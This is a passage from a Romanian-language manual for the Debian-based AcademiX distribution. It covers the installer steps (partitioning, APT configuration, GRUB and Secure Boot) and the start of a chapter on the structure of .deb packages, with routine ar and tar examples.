Instalarea alături de un sistem avea ambele sisteme simultan, fiecare instalat pe un disc sau partiție separată și puteți alege care să începeți când
Windows existent porniți computerul. Această configurație este adesea numită “dual boot” și sistemul de instalare Debian îl poate
configura. Acest lucru se realizează în timpul partiționării hard disk-ului și la configurarea bootloader-ului
(consultați barele laterale “Micșorarea unei partiții Windows” pagina 68) și “Bootloader și dual boot” pagina 70).
➨ http://ftp.debian.org/debian/tools/win32-loader/stable/
➨ http://www.goodbye-microsoft.com/
Dacă aveți deja un sistem Windows funcțional, puteți chiar să evitați utilizarea unui CD-ROM; Debian oferă un
program Windows care va descărca un program de instalare ușor Debian și îl va configura pe hard disk. Apoi,
trebuie doar să reporniți computerul și să alegeți între pornirea normală Windows sau pornirea programului de
instalare. De asemenea, îl puteți găsi pe un site dedicat cu un titlu destul de explicit ...
➨ http://ftp.debian.org/debian/tools/win32-loader/stable/
➨ https://people.debian.org/~rmh/goodbye-microsoft/

NOȚIUNI DE BAZĂ Încărcătorul inițializărilor, este un program de nivel inferior, care este responsabil pentru pornirea kernel-ului
Bootloader Linux imediat după ce BIOS-ul îi predă controlul. Pentru a gestiona această sarcină trebuie să fie capabil să
localizeze kernel-ul Linux pentru a porni pe disc. Pe arhitecturile i386 și amd64, cele mai utilizate două
programe pentru realizarea acestei sarcini sunt mai vechiul LILO și, mai noul său înlocuitor, GRUB. Isolinux și
Syslinux sunt alternativa utilizată frecvent pentru a porni de pe suporturi amovibile.

Fiecare intrare din meniu ascunde o linie de comandă specifică de pornire, care poate fi configurată după
cum este necesar apăsând tasta TAB înainte de validarea intrării și a bootării. Intrarea de meniu “Ajutor”
afișează vechea interfață a liniei de comandă, unde tastele de la F1 la F10 afișează diferite ecrane de ajutor

61
care detaliază diversele opțiuni disponibile la prompt. Rareori va trebui să utilizați această opțiune cu
excepția cazurilor foarte specifice.
Modul “expert” (accesibil în meniul “Opțiuni avansate”) detaliază toate opțiunile posibile în procesul de
instalare și permite navigarea între diferiți pași fără ca acestea să se întâmple automat în succesiune. Fiți
atent, acest mod foarte detaliat poate fi confuz din cauza multitudinii de opțiuni de configurare pe care le
oferă.

Figura 4.3 Ecran de pornire

Odată pornit, programul de instalare vă ghidează pas cu pas pe tot parcursul procesului. Această secțiune
prezintă în detaliu fiecare dintre acești pași. Aici urmăm procesul unei instalări din academix_2.5-
stable_64bit.iso. , însă versiunea finală a programului de instalare, poate arăta ușor diferit. De
asemenea, vom aborda instalarea în modul grafic dar singura diferență față de instalarea “clasică” (modul
text) este în aspectul vizual.

4.3.2. Selectarea limbii

Programul de instalare începe în engleză, dar primul pas permite utilizatorului să aleagă limba care va fi
folosită în restul procesului. Alegerea limbii române de exemplu, va oferi o instalare tradusă în întregime în
română (și ca urmare, un sistem configurat în română). Această alegere este de asemenea folosită pentru a
defini opțiunile implicite mai relevante în etapele ulterioare (în special aspectul tastaturii).

NOȚIUNI DE BAZĂ Unii pași în procesul de instalare necesită introducerea informațiilor. Aceste ecrane au mai multe zone care pot
Navigarea cu tastatura “focaliza” (zona de introducere a textului, casetele de selectare, lista de alegeri, butoanele OK și Cancel), iar
tasta TAB vă permite să vă deplasați de la unul la altul.
În modul grafic, puteți utiliza mouse-ul așa cum ați face în mod normal pe un desktop grafic instalat.

Figura 4.4. Selectarea limbii

62
4.3.3. Selectarea țării
Al doilea pas constă în alegerea țării voastre. În combinație cu limba, aceste informații permit programului să
ofere cea mai potrivită dispunere de tastatură. Acest lucru va influența, de asemenea, configurația fusului
orar. În Statele Unite, este sugerată o tastatură QWERTY standard și este disponibilă o gamă de fusuri orare
adecvate.

Figura 4.5. Selectarea țării

4.3.4. Selectarea aspectului tastaturii

Tastatura “Engleză Americană” propusă corespunde aspectului QWERTY obișnuit.
Alegerea în “română” permite editarea cu sau fără diacritice, și în funcție de periferice trebuie verificată
așezarea diacriticelor.

Figura 4.6. Alegerea tastaturii

4.3.5. Detectarea hardware-ului

Acest pas este complet automat în marea majoritate a cazurilor. Instalatorul detectează hardware-ul dvs. și
încearcă să identifice unitatea CD-ROM folosită pentru a accesa conținutul său. Încarcă modulele
corespunzătoare diferitelor componente hardware detectate, apoi “montează” CD-ROM-ul pentru a-l citi.
Etapele anterioare erau conținute complet în imaginea de pornire inclusă pe CD, un fișier cu dimensiuni
limitate și încărcate în memorie de BIOS la pornirea de pe CD.
Instalatorul poate funcționa cu marea majoritate a unităților, în special periferice standard ATAPI (uneori
numite IDE și EIDE). Cu toate acestea, dacă detectarea cititorului CD-ROM nu reușește, instalatorul oferă

63
posibilitatea de a încărca un modul de kernel (de exemplu de pe un stick USB) corespunzător unității CD-
ROM.

4.3.6. Încărcarea componentelor

Având acum conținutul CD-ului disponibil, instalatorul încarcă toate fișierele necesare pentru a-și continua
activitatea. Aceasta include driver-e suplimentare pentru hardware-ul rămas (în special placa de rețea),
precum și toate componentele programului de instalare.

4.3.7. Detectarea hardware-ului de rețea

Acest pas automat încearcă să identifice placa de rețea și să încarce modulul corespunzător. Dacă
detectarea automată nu reușește, puteți selecta manual modulul de încărcat. Dacă nu funcționează niciun
modul, este posibil să se încarce un anumit modul de pe un dispozitiv detașabil. Această ultimă soluție este
de obicei necesară numai dacă driverul corespunzător nu este inclus în nucleul Linux standard, dar
disponibil în altă parte, cum ar fi pe web site la producător.

4.3.8. Configurarea rețelei

Pentru a automatiza procesul cât mai mult posibil, instalatorul încearcă o configurație automată a rețelei prin
DHCP (pentru IPv4) și prin descoperirea rețelei IPv6. Dacă aceasta nu reușește, oferă mai multe opțiuni:
încercați din nou cu o configurație normală DHCP, încercați configurarea DHCP declarând numele mașinii
sau configurați o configurație de rețea statică.
Această ultimă opțiune necesită o adresă IP (IP address), o mască de subrețea (subnet mask), o adresă IP pentru o
poartă de acces (gateway) potențială, un nume de mașină și un nume de domeniu.

SFAT Dacă rețeaua locală este echipată cu un DHCP server pe care nu doriți să îl utilizați, deoarece preferați să definiți
Configurare fără DHCP o adresă IP statică pentru aparat în timpul instalării, puteți adăuga opțiunea netcfg/use_dhcp=false când
pornire se face de pe CD-ROM. Trebuie doar să accesați meniul dorit apăsând tasta TAB și adăugați opțiunea
dorită înainte de a apăsa tasta Enter.

ATENȚIE Multe rețele locale sunt bazate pe o presupunere implicită că toate mașinile pot fi de încredere, iar configurarea
Nu improvizați inadecvată a unui singur computer va perturba adesea întreaga rețea. Drept urmare, nu vă conectați mașina la o
rețea fără să fiți de acord mai întâi cu administratorul său cu privire la setările corespunzătoare (de exemplu,
adresa IP, netmask și adresa de difuzare).

4.3.9. Parolă de administrator

Contul root, de super-utilizator, rezervat administratorului mașinii este creat automat în timpul instalării; de
aceea este solicitată o parolă. Instalatorul solicită, de asemenea, o confirmare a parolei pentru a preveni
orice eroare de intrare, care ulterior va fi dificil de modificat. Rețineți că puteți lăsa ambele câmpuri goale
dacă doriți ca contul root să fie dezactivat. În acest caz, primul utilizator obișnuit - care va fi creat de
programul de instalare în pasul următor - va avea drepturi administrative prin sudo (a se vedea secțiunea
8.9.4. “Partajarea drepturilor de administrator” pagina 152).

SECURITATE Parola utilizatorului rădăcină (root) trebuie să fie lungă (12 caractere sau mai mult) și imposibil de ghicit. Într-
Parolă de administrator adevăr, orice computer (și mai mult, orice server) conectat la Internet este vizat în mod regulat prin încercări de
conectare automată cu cele mai evidente parole. Uneori poate fi chiar supus unor atacuri de dicționar, în care
multe combinații de cuvinte și numere sunt testate ca parolă. Evitați să folosiți numele copiilor sau părinților,
datele nașterii, etc.: mulți dintre colegii dvs. ar putea să-i cunoască și rareori doriți să le oferiți acces gratuit la
computerul respectiv.
Aceste observații sunt aplicabile în egală măsură pentru alte parole de utilizator, dar consecințele unui cont
compromis sunt mai puțin drastice pentru utilizatorii fără drepturi administrative.
Dacă inspirația lipsește, nu ezitați să utilizați generatoare de parole, cum ar fi pwgen (în pachetul cu același
nume).

64
 Figura 4.7 Parola de Administrator

4.3.10. Crearea primului utilizator

AcademiX impune, de asemenea, crearea unui cont de utilizator standard astfel încât nici administratorul să
nu aibă obiceiul prost de a lucra ca root. Principiul precauției înseamnă, în esență, că fiecare sarcină este
îndeplinită cu drepturile minime necesare, pentru a limita daunele cauzate de eroarea umană. Acesta este
motivul pentru care instalatorul va solicita numele complet al acestui prim utilizator, numele de utilizator și
parola (de două ori, pentru a preveni riscul de introducere eronată).

Figura 4.8 Numele primului utilizator

4.3.11. Configurarea ceasului

Dacă rețeaua este disponibilă, ceasul intern al sistemului este actualizat (într-o singură instanță) de pe un
NTP server. În acest fel timpii din jurnale vor fi corecte de la primul boot. Pentru ca aceștia să rămână preciși
în decursul timpului trebuie instalat un NTP daemon după instalarea inițială (vezi secțiunea 8.9.2. “Sincronizarea
timpului” pagina 151).

4.3.12. Detectarea discurilor și a altor dispozitive

Acest pas detectează automat hard disk-urile pe care poate fi instalat AcademiX. Acestea vor fi prezentate în
următorul pas: partiționarea.

4.3.13. Pornirea instrumentului de partiționare

Etapa de partiționare este în mod tradițional dificilă pentru utilizatorii noi.

65
 CULTURĂ Partiționarea, un pas indispensabil în instalare, constă în împărțirea spațiului disponibil pe hard disk-uri (fiecare
Utilizările partiționărilor subdiviziune a acestora fiind denumită “partiție”) în funcție de datele care trebuie stocate pe acesta și de
utilizarea pentru care este destinat computerul. Acest pas include, de asemenea, alegerea sistemelor de fișiere
care vor fi utilizate. Toate aceste decizii vor avea o influență asupra performanței, securității datelor și
administrării server-ului.

Este necesar să definiți diversele porțiuni ale discurilor (sau “partițiilor”) pe care vor fi stocate sistemele de
fișiere Linux și memoria virtuală (swap). Această sarcină este complicată dacă un alt sistem de operare pe
care doriți să îl păstrați este deja pe mașină. Într-adevăr, va trebui apoi să vă asigurați că nu modificați
partițiile (sau că le redimensionați fără a provoca daune).
Din fericire, software-ul are o opțiune de partiționare “ghidată” care recomandă realizarea de partiții pentru
utilizatori — în cele mai multe cazuri, puteți pur și simplu să validați sugestiile software-ului.

Figura 4.9 Alegerea modului de partiționare

Primul ecran din instrumentul de partiționare oferă posibilitatea de a utiliza un întreg hard disk pentru a crea
diferite partiții. Pentru un computer (nou) care va folosi exclusiv Linux, această opțiune este în mod clar cea
mai simplă și puteți alege opțiunea “Ghidată – utilizați întregul disc”. Dacă computerul are două hard disk-uri
pentru două sisteme de operare, setarea unei unități pentru fiecare este o soluție care poate facilita
partiționarea. În ambele cazuri, următorul ecran oferă alegerea discului în care va fi instalat Linux, selectând
intrarea corespunzătoare (de exemplu, “SCSI3 (0,0,0) (sda) – 44,2 GB ATA VBOX HARDDISK”). Apoi începeți
compartimentarea ghidată.

Figura 4.10 Discul de utilizat pentru partiționare ghidată

Partiționarea ghidată poate configura, de asemenea, volume logice LVM în loc de partiții (vezi mai jos).
Deoarece restul operațiunii este același, nu vom trece peste opțiunea ”Ghidat – folosiți întregul disc și
configurați LVM” (criptat sau nu).

66
În alte cazuri, atunci când Linux trebuie să funcționeze alături de alte partiții deja existente, trebuie să alegeți
partiționarea manuală.

4.3.13.1. Partiționarea ghidată

Instrumentul de partiționare ghidat oferă trei metode de partiționare, care corespund utilizărilor diferite.

Figura 4.11 Partiționarea ghidată

Prima metodă se numește “Toate fișierele într-o singură partiție” Întregul arbore de sistem Linux este stocat într-
un singur sistem de fișiere, corespunzând directorului rădăcină /. Această partiționare simplă și robustă se
potrivește perfect pentru sistemele personale sau cu un singur utilizator. De fapt, două partiții vor fi create:
prima va găzdui sistemul complet, a doua memoria virtuală (swap).
A doua metodă, “Partiție separată /home/”, este similară, dar împarte ierarhia de fișiere în două: o partiție
conține sistemul Linux (/), iar a doua conține “directoare de domiciliu” (adică date ale utilizatorilor, în fișiere și
subdirectoare disponibile în /home/).
Ultima metodă de partiționare, numită “Partiții separate /home, /var și /tmp”, este adecvat pentru server-e și
sisteme multi-utilizator. Divizează arborele de fișiere în mai multe partiții: pe lângă partițiile root(/) și conturi
de utilizator (/home/) are de asemenea partiții pentru datele software server-ului(/var/) și fișiere temporare
(/tmp/). Aceste diviziuni au mai multe avantaje. Utilizatorii nu pot bloca server-ul, consumând tot spațiul de
pe hard disk disponibil (pot completa doar /tmp/ și /home/). Datele daemon-ilor (în special jurnalele) nu mai
pot bloca restul sistemului.

NOȚIUNI DE BAZĂ Un sistem de fișiere definește modul în care datele sunt organizate pe hard disk. Fiecare sistem de fișiere
Alegerea unui sistem de fișiere existent are meritele și limitările sale. Unele sunt mai robuste, altele mai eficiente: dacă vă cunoașteți bine
nevoile, este posibil să alegeți cel mai potrivit sistem de fișiere. S-au făcut deja diverse comparații; se pare că
ReiserFS este deosebit de eficient pentru citirea multor fișiere mici; XFS, la rândul său, funcționează mai repede
cu fișiere mari. Ext4, sistemul de fișiere implicit pentru AcademiX, bazat pe Debian, este un compromis bun,
bazat pe cele trei versiuni anterioare ale sistemelor de fișiere utilizate istoric în Linux (ext, ext2 și ext3). Ext4
depășește anumite limitări ale ext3 și este adecvat în special pentru hard disk-urile de capacitate foarte mare. O
altă opțiune ar fi experimentarea cu foarte promițătorul btrfs, care include numeroase caracteristici care necesită
în prezent utilizarea LVM și/sau RAID.
Un sistem de fișiere jurnalizat (cum ar fi ext3, ext4, btrfs, reiserfs sau xfs) ia măsuri speciale pentru a face
posibilă revenirea la o stare prealabilă consecventă după o întrerupere bruscă fără a analiza complet întregul
disc (cum a fost cazul sistemului ext2). Această funcționalitate este realizată prin completarea unui jurnal care
descrie operațiunile de efectuat înainte de a le fi executa. Dacă o operație este întreruptă, va fi posibilă
“redarea” acesteia din jurnal. În schimb, dacă apare o întrerupere în timpul unei actualizări a jurnalului, ultima
modificare solicitată este pur și simplu ignorată; datele scrise ar putea fi pierdute, dar din moment ce datele de
pe disc nu s-au schimbat, ele au rămas coerente. Acesta nu este nimic mai mult decât mai puțin decât un
mecanism tranzacțional aplicat sistemului de fișiere.

După alegerea tipului de partiție, software-ul calculează o sugestie și o descrie pe ecran; utilizatorul poate
apoi să-l modifice dacă este necesar. Puteți, în special, să alegeți un alt sistem de fișiere dacă alegerea
standard (ext4) nu este adecvată. Cu toate acestea, în cele mai multe cazuri, partiționarea propusă este
rezonabilă și poate fi acceptată selectând intrarea “Finalizare partiționare și scriere modificări pe disc”.

67
 Figura 4.12 Validarea partiționării

4.3.13.2. Partiționarea manuală

Partiționarea manuală oferă o mai mare flexibilitate, permițând utilizatorului să aleagă scopul și dimensiunea
fiecărei partiții. În plus, acest mod este inevitabil dacă doriți să utilizați software RAID.

ÎN PRACTICĂ Pentru a instala AcademiX alături de un sistem de operare existent (Windows sau Debian), trebuie să aveți un
Micșorarea unei partiții spațiu disponibil pe hard disk care nu este utilizat de celălalt sistem pentru a putea crea partiții dedicate lui
Windows Debian. În cele mai multe cazuri, aceasta înseamnă micșorarea unei partiții Windows și reutilizarea spațiului
liber.
Debian installer permite această operațiune atunci când utilizează modul manual pentru partiționare. Trebuie
doar să alegeți partiția Windows și să introduceți noua dimensiune (aceasta funcționează la fel atât cu partițiile
FAT, cât și cu cele NTFS).
Dacă Windows folosește partiții criptate BitLocker, pașii pentru redimensionarea acestora necesită utilizarea
BitLocker Management împreună cu instrumentul Windows Disk Management.

Primul ecran afișează discurile disponibile, partițiile lor și orice spațiu liber posibil care nu a fost încă
partiționat. Puteți selecta fiecare element afișat; apăsând tasta Enter apoi se oferă o listă de
acțiuni posibile.
Puteți șterge toate partițiile de pe un disc selectându-le.
Când selectați spațiu liber pe un disc, puteți crea manual o nouă partiție. Puteți face acest lucru și cu
partiționarea ghidată, care este o soluție interesantă pentru un disc care conține deja un alt sistem de
operare, dar pe care poate doriți să îl partiționați pentru Linux într-o manieră standard. Consultați secțiunea
4.3.13.1. “Partiționarea ghidată” pagina 67 pentru mai multe detalii despre partiționarea ghidată.

NOȚIUNI DE BAZĂ Punctul de montare este arborele de directoare care va găzdui conținutul sistemului de fișiere din partiția
Punct de montare selectată. Astfel, o partiție montată la /home/ este în mod tradițional destinată să conțină datele utilizatorului.
Când acest director este numit “/”, este cunoscut sub numele de root, rădăcina din arborele de fișiere și prin
urmare, rădăcina partiției care va găzdui de fapt sistemul Debian.

NOȚIUNI DE BAZĂ Memoria virtuală permite kernel-ului Linux, într-un deficit memorie (RAM), să elibereze un pic din părțile din
Memorie virtuală, swap memoria RAM care au fost inactive de ceva timp depozitându-le pe partiția swap a hard disk-ului.
Pentru a simula memoria suplimentară, Windows folosește un fișier swap care este conținut direct într-un sistem
de fișiere. În schimb, Linux folosește o partiție dedicată acestui scop, de unde și termenul “partiție swap”.

Când alegeți o partiție, puteți indica modul în care o veți utiliza:

• formatați-l și includeți-l în arborele de fișiere, alegând un punct de montare;
• folosiți-o ca o partiție swap;
• transformați-l într-un “volum fizic pentru criptare” (pentru a proteja confidențialitatea datelor pe anumite
partiții, vezi mai jos);
• faceți-l un “volum fizic pentru LVM” (acest concept este discutat mai detaliat mai târziu în acest
capitol);
• folosiți-l ca dispozitiv RAID (a se vedea mai târziu în acest capitol);

68
 • puteți, de asemenea, să alegeți să nu o utilizați și prin urmare, să o lăsați neschimbată.

4.3.14. Instalarea de bază a sistemului

Acest pas, care nu necesită nicio interacțiune cu utilizatorul, instalează pachetele “de bază ale sistemului”
Debian. Aceasta include instrumentele dpkg și apt care gestionează pachetele Debian precum și utilitățile
necesare pentru a porni sistemul și a începe să-l folosești.

Figura 4.13 Instalarea de bază a sistemului

4.3.15. Configurarea managerului de pachete (apt)

Pentru a putea instala software suplimentar, APT trebuie să fie configurat și să i se spună unde să găsească
pachetele Debian. Acest pas este cât se poate de automatizat. Începe cu o întrebare care să întrebe dacă
trebuie să utilizeze o sursă de rețea pentru pachete sau dacă ar trebui să caute doar pachete pe CD-ROM.

REȚINEȚI Dacă instalatorul detectează un disc de instalare AcademiX în cititorul CD/DVD nu este necesar să configurați
CD-ROM AcademiX în APT pentru a căuta pachete în rețea: APT este configurat automat pentru a citi pachetele de pe o unitate de
unitatea optică stocare amovibilă. Dacă discul face parte dintr-un set, software-ul se va oferi să “exploreze” alte discuri pentru a
face referire la toate pachetele stocate pe ele.

Dacă se solicită primirea de pachete din rețea, următoarele două întrebări permit alegerea unui server din
care să descarce aceste pachete, alegând mai întâi o țară, apoi o oglindă disponibilă în țara respectivă (o
oglindă este un public server care găzduiește copii ale tuturor fișierelor arhivei principale Debian).

Figura 4.14 Selectarea unei oglinzi Debian

69
În cele din urmă programul propune utilizarea unui proxy HTTP. Dacă nu există un proxy, accesul la internet
va fi direct. Dacă tastați http://proxy.scoalagenerala.com:3128, APT va folosi proxy/cache
scoalagenerala, un program “Squid”. Puteți găsi aceste setări verificând configurațiile unui web browser pe o altă
mașină conectată la aceeași rețea.
Fișierele Packages.gz și Sources.gz sunt apoi descărcate automat pentru a actualiza lista de pachete
recunoscute de APT.

NOȚIUNI DE BAZĂ Un HTTP proxy este un server care transmite o solicitare HTTP pentru utilizatorii de rețea. Uneori ajută la
HTTP proxy accelerarea descărcărilor păstrând o copie a fișierelor transferate prin intermediul acestuia (vorbim apoi de
proxy/cache). În unele cazuri este singurul mijloc de acces la un web server extern; în astfel de cazuri este
esențial să răspundeți la întrebarea corespunzătoare în timpul instalării pentru ca programul să poată descărca
pachetele Debian prin intermediul acestuia.
Squid este numele software server-ului folosit de Școala Generală pentru a oferi acest serviciu.

4.3.16. Instalare GRUB bootloader

Bootloader — încărcătorul Inițializării — este primul program pornit de BIOS. Acest program încarcă nucleul
Linux în memorie și apoi îl execută. Adesea oferă un meniu care permite utilizatorului să aleagă kernel-ul de
încărcat și/sau sistemul de operare pentru a-l porni.

ATENȚIE Această fază din procesul de instalare Debian detectează sistemele de operare care sunt deja instalate pe
Bootloader și dual boot computer și adaugă automat intrările corespunzătoare în meniul de pornire, dar nu toate programele de instalare
fac acest lucru.
În special, dacă instalați (sau reinstalați) Windows ulterior bootloader-ul va fi șters. Debian va fi încă pe hard
disk dar nu va mai fi accesibil din meniul de pornire. Apoi va trebui să porniți sistemul de instalare Debian în
modul rescue pentru a configura un bootloader mai puțin exclusivist. Această operație este descrisă în detaliu în
manualul de instalare.
➨ http://www.debian.org/releases/stable/amd64/ch08s07.html

Implicit, meniul propus de GRUB conține toate nucleele Linux instalate precum și orice alte sisteme de
operare care au fost detectate. Acesta este motivul pentru care ar trebui să acceptați oferta pentru a-l instala
în Master Boot Record. Deoarece păstrarea versiunilor de kernel mai vechi păstrează capacitatea de a porni
același sistem, dacă nucleul cel mai recent instalat este defect sau este insuficient adaptat hardware-ului, de
multe ori este logic să păstrați instalate câteva versiuni de kernel mai vechi.
GRUB este bootloader-ul implicit instalat de AcademiX (Debian) datorită superiorității sale tehnice:
funcționează cu majoritatea sistemelor de fișiere și prin urmare, nu necesită o actualizare după fiecare
instalare a unui nou kernel deoarece își citește configurația în timpul pornirii și găsește poziția exactă a noului
nucleu. Versiunea 1 a GRUB (acum cunoscută sub numele de “Grub Legacy”) nu a putut gestiona toate
combinațiile de LVM și software RAID; versiunea 2, instalată implicit, este mai completă. Mai pot exista
situații în care este mai recomandabil să instalați LILO (un alt bootloader); instalatorul o va sugera automat.
Pentru mai multe informații consultați secțiunea 8.8.3. “Configurare GRUB 2” pagina 150.

ATENȚIE LILO și GRUB, menționate în acest capitol, sunt încărcătoare de boot pentru arhitecturi i386 și amd64. Dacă
Bootloader și arhitectură instalați Debian pe o altă arhitectură va trebui să utilizați un alt bootloader. Printre altele, putem cita yaboot or
quik pentru powerpc, silo pentru sparc, aboot pentru alpha, arcboot pentru mips.

CULTURĂ Secure Boot este o tehnologie care vă asigură că rulați numai software validat de furnizorul sistemului dvs. de
Secure Boot și shim operare. Pentru a-și îndeplini activitatea, fiecare element al secvențelor de încărcare validează următoarea
bootloader componentă software pe care o va executa. La cel mai profund nivel, firmware-ul UEFI încorporează chei
criptografice furnizate de Microsoft pentru a verifica semnătura încărcătorului de boot, asigurându-se că este
executată în siguranță. Deoarece obținerea unui binar semnat de Microsoft este un proces îndelungat, Debian a
decis să nu semneze direct GRUB. În schimb, folosește un bootloader intermediar numit shim, care aproape
niciodată nu trebuie să se schimbe și al cărui singur rol este să verifice semnătura furnizată de Debian pe GRUB
și să execute GRUB. Pentru a rula Debian pe o mașină cu Secure Boot activat, trebuie să instalați pachetul
semnat shim.
În stivă, GRUB va face o verificare similară cu nucleul și apoi nucleul ar putea verifica și semnăturile de pe
modulele care se încarcă. Nucleul ar putea interzice, de asemenea, unele operații care ar putea modifica
integritatea sistemului.
Debian 10 este prima versiune care acceptă Secure Boot. Înainte, trebuia să dezactivați această caracteristică în
ecranul de configurare a sistemului oferit de BIOS sau UEFI.

70
4.3.17. Finalizarea instalării și repornirea
Instalarea este acum completă, programul vă invită să scoateți CD-ROM-ul din cititor și să reporniți
computerul.

4.4. După prima pornire

Computerul va afișa managerul de conectare ldm.

Figura 4.15 Prima pornire

Utilizatorul care a fost deja creat poate apoi să se autentifice și să înceapă să lucreze imediat.

4.4.1. Instalarea software-ului suplimentar

Pachetele instalate corespund profilului MATE, implicit în timpul instalării, dar nu neapărat, pentru utilizare
aceasta vor fi de fapt făcute din mașină. Ca atare, poate doriți să utilizați un instrument de gestionare a
pachetelor pentru a rafina selecția de pachete instalate. Cele două instrumente utilizate cel mai des
(instalate coresunzător profilului implicit “MATE desktop environment”) sunt apt (accesibil din linia de
comandă) și synaptic (“Pachetul Synaptic Manager” în meniuri). După instalare, le puteți accesa din nou,
datorită instrumentelor de gestionare a pachetelor cum ar fi aptitude (sarcinile sunt enumerate într-o
secțiune distinctă) și synaptic (prin meniul Edit→Marcați pachetele după sarcină...).
Aptitude este o interfață pentru APT în modul text cu ecran complet. Permite utilizatorului să răsfoiască lista
de pachete disponibile în funcție de diverse categorii (pachete instalate sau neinstalate, sarcină, secțiune
etc.) și să vizualizeze toate informațiile disponibile pe fiecare dintre ele (dependențe, conflicte, descriere
etc.). Fiecare pachet poate fi marcat “instalare” (pentru a fi instalat, tasta +) sau “eliminare” (pentru a fi
eliminat, tasta -). Toate aceste operațiuni vor fi efectuate simultan după ce le-ați confirmat apăsând tasta g
(“g” pentru “go!”). Dacă ați uitat unele programe nu vă faceți griji; veți putea rula aptitude din nou, după ce
instalarea inițială a fost finalizată.

SFAT Mai multe sarcini sunt dedicate localizării sistemului în alte limbi dincolo de engleză. Acestea includ
Debian și vorbitorii de limbi documentație tradusă, dicționare și diverse alte pachete utile pentru vorbitorii din diferite limbi. Sarcina
non-engleze corespunzătoare este selectată automat dacă a fost aleasă o limbă non-engleză în timpul instalării.

Desigur că este posibil să nu selectați nicio sarcină de instalare. În acest caz puteți instala manual software-ul
dorit cu comanda apt sau aptitude (care sunt ambele accesibile din linia de comandă).

VOCABULAR În jargonul Debian de împachetare, o “dependență” este un alt pachet necesar pentru buna funcționare a
Pachete dependente, conflicte pachetului în cauză. În schimb, un “conflict” este un pachet care nu poate fi instalat alături de altul. Aceste
concepte sunt discutate mai detaliat în capitolul 5. “Sistemul de împachetare” pagina 71.

71
4.4.2. Actualizarea sistemului

Prima, apt upgrade (o comandă folosită pentru actualizarea automată a programelor instalate) este în
general necesară, în special pentru posibile actualizări de securitate emise de la lansarea celei mai recente
versiuni stable. Aceste actualizări pot implica unele întrebări suplimentare prin debconf, instrumentul Debian
de configurare standard. Pentru informații suplimentare despre aceste actualizări efectuate de apt, vă
rugăm să consultați secțiunea 6.2.3. “System upgrade” pagina 105.

72
73
 Repere

Pachet binar
Pachet sursă
dpkg
dependențe
Conflict

74
Capitolul 5

5. Sistemul de împachetare: instrumente și principii

fundamentale
Conţinut
Structura unui pachet binar 76 Pachet meta-informații 77 Structura unui pachet sursă 84

Manipularea pachetelor cu dpkg 86 Coexistența cu alte sisteme de împachetare 92

Ca administrator de sistem AcademiX veți gestiona în mod obișnuit pachetele .deb deoarece conțin unități
funcționale consistente (aplicații, documentație etc.), a căror instalare și întreținere le facilitează. Prin urmare
este o idee bună să știți ce sunt și cum să le folosiți.

75
Acest capitol descrie structura și conținutul pachetelor “binare” și “sursă”. Primele sunt fișierele utilizabile
direct de dpkg, în timp ce cele din urmă conțin codul sursă precum și instrucțiuni pentru construirea
pachetelor binare.

5.1. Structura unui pachet binar

Formatul pachetului Debian este conceput astfel încât conținutul său să poată fi extras în orice sistem Unix
care are comenzile clasice ar, tar și gzip (uneori xz sau bzip2). Această proprietate aparent banală este
importantă pentru portabilitate și recuperare în cazul dezastrelor.
Imaginați-vă, de exemplu, că ați șters din greșeală programul dpkg și că astfel nu mai puteți instala pachete
Debian. dpkg fiind un pachet Debian în sine, s-ar părea că sistemul dvs. ar fi realizat pentru... Din fericire
cunoașteți formatul unui pachet și puteți descărca5 fișierul .deb al pachetului dpkg și-l instalați manual (a se
vedea bara laterală “dpkg, APT și ar” pagina76). Dacă printr-o nenorocire unul sau mai multe dintre programele
ar, tar sau gzip/xz/bzip2 au dispărut, va trebui doar să copiați programul lipsă dintr-un alt sistem
(deoarece fiecare dintre acestea funcționează într-un mod complet autonom, fără dependențe, o simplă
copie va fi suficientă). Dacă sistemul dvs. a suferit o întâmplare nefericită și chiar și acestea nu funcționează
(poate lipsesc cele mai complicate biblioteci de sistem?) ar trebui să încercați versiunea statică a busybox
(furnizată în pachetul busybox-static) care este și mai independent și oferă sub-comenzi precum busybox
ar, busybox tar și busybox gunzip.
În cazul unui ghinion,e mai bine să aveți și o copie de rezervă a sistemului (vedeți secțiunea 9.10. “Backup”
pagina 182).

INSTRUMENTE Programul dpkg este cel care gestionează fișierele .deb, în special extragerea, analizarea și dezambalarea
dpkg, APT și ar acestora.
APT este un grup de programe care permite executarea de modificări la nivel superior la sistem: instalarea sau
eliminarea unui pachet (păstrând în același timp dependențele), actualizarea sistemului, listarea pachetelor
disponibile etc.
În ceea ce privește programul ar, acesta permite gestionarea fișierelor cu același nume: ar t archive
afișează lista de fișiere conținute într-o astfel de arhivă, ar x archive extrage fișierele din arhivă în
directorul de lucru curent, ar d archive file șterge un fișier din arhivă, etc. Pagina sa de manual (ar(1))
documentează toate celelalte caracteristici ale sale. ar este un instrument foarte rudimentar pe care un
administrator Unix l-ar folosi doar în rare ocazii dar administratorii folosesc în mod regulat tar, un program de
gestionare a arhivelor și fișierelor mai evoluat. Acesta este motivul pentru care este ușor să restaurați dpkg în
caz de ștergere eronată. Va trebui să descărcați doar pachetul Debian și să extrageți conținutul din arhiva
data.tar.gz din rădăcina sistemului (/):
# ar x dpkg_1.17.23_amd64.deb
# tar -C / -p -xzf data.tar.gz

NOȚIUNI DE BAZĂ Poate fi confuz pentru începători să găsească referințe la “ar(1)” în literatura de specialitate. Acesta este în
Notarea paginii de manual general un mijloc convenabil de referire la pagina de manual intitulată ar în secțiunea 1.
Uneori, această notare este folosită și pentru a elimina ambiguitățile, de exemplu pentru a distinge între
comanda printf care poate fi indicată și prin printf(1) și funcția printf în limbajul de programare C, care
poate fi, de asemenea, menționat ca printf(3).
Capitolul 7. “Rezolvarea problemelor și găsirea informațiilor relevante” pagina 125 discută paginile de manual în
detaliu (a se vedea secțiunea 7.1.1. “Pagini de manual” pagina 126).

Aruncați o privire la conținutul unui fișier .deb:

$ ar t dpkg_1.19.7_amd64.deb
debian-binary
control.tar.gz
data.tar.xz
$ ar x dpkg_1.19.7_amd64.deb
$ ls
control.tar.gz data.tar.xz debian-binary dpkg_1.19.7_amd64.deb
$ tar tJf data.tar.xz | head -n 16
./
./
./etc/
./etc/alternatives/

5https://www.debian.org/distrib/packages#search_packages

76
./etc/alternatives/README
./etc/cron.daily/
./etc/cron.daily/dpkg
./etc/dpkg/
./etc/dpkg/dpkg.cfg
./etc/dpkg/dpkg.cfg.d/
./etc/logrotate.d/
./etc/logrotate.d/alternatives
./etc/logrotate.d/dpkg
./sbin/
./sbin/start-stop-daemon
./usr/
./usr/bin/
$ tar tJf control.tar.xz
./
./conffiles
